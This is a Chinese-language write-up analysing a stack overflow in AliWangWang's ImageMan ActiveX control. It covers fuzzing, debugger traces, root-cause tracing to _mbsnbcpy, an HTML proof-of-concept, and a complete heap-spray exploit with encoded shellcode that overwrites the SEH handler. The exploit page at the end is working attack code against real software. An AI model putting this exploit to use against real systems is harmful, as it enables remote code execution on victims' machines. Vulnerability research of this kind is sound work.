阿里旺旺ActiveX控件ImageMan溢出漏洞分析

用ComRaider模糊测试

针对ActiveX控件的漏洞分析方法

poc

<html><body><object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object><script>var buffer = '';while (buffer.length < 1111) buffer+="A";target.AutoPic(buffer,"defaultV");</script></body>
</html>

OD附加IE
ALT+E，找到模块OLEAUT32，双击进入
Crtl+N，找到函数DispCallFunc，双击进入
找到DispCallFunc函数中首个CALL ECX,下断，动态调试，跟进即是漏洞函数

IE打开poc,程序断在CALL ECX

F7跟进
来到了AutoPic函数

获取超长字符串参数

触发

基于污点追踪定位漏洞

用windbg附加IE,打开poc,中断

(1340.370): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=1003ed3c ecx=0012fefc edx=ffed0104 esi=00000041 edi=00130000
eip=1003406b esp=0012dd78 ebp=0012dd80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll -
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807            mov     byte ptr [edi],al          ds:0023:00130000=41

看看edi

0:000> !address edi
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00133000
Region Size:            00003000
Type:                   00040000    MEM_MAPPED
State:                  00001000    MEM_COMMIT
Protect:                00000002    PAGE_READONLY
Mapped file name:       PageFile

所以异常是因为向只读内存写数据

在IDA找到中断地址0x1003406b
发现其位于函数_mbsnbcpy

红线即触发异常
0x1003406b位于_mbsnbcpy函数中，_mbsnbcpy中将第二个参数中的数据复制到第一个参数位置，第三参数size_t是复制的个数。
栈溢出的原因一般是对内存拷贝的长度没有限制，这里追踪_mbsnbcpy中第三个参数size_t。
Ctrl+X查看哪里调用了_mbsnbcpy

windbg栈回溯

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd80 1001c324 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x32e70
0012dd94 1001ac30 0012dfc4 0012dec0 ffed2141 ImageMan!DllUnregisterServer+0x1b129
0012e0c8 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35
0012e0cc 41414141 41414141 41414141 41414141 0x41414141
0012e0d0 41414141 41414141 41414141 41414141 0x41414141
0012e0d4 41414141 41414141 41414141 41414141 0x41414141
0012e0d8 41414141 41414141 41414141 41414141 0x41414141
......

_mbsnbcpy函数返回0x1001C324
可以断定调用_mbsnbcpy的函数是sub_1001C310

sub_1001C310只起到了传输size_t的功能，并没有修改size_t，需要继续回溯上层函数。Ctrl+X

点进去，做了必要的分析

它的c代码

漏洞利用

覆盖seh

泉哥的exploit

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D");target.AutoPic(s,"defaultV");</script>
</body>
</html>

成功覆盖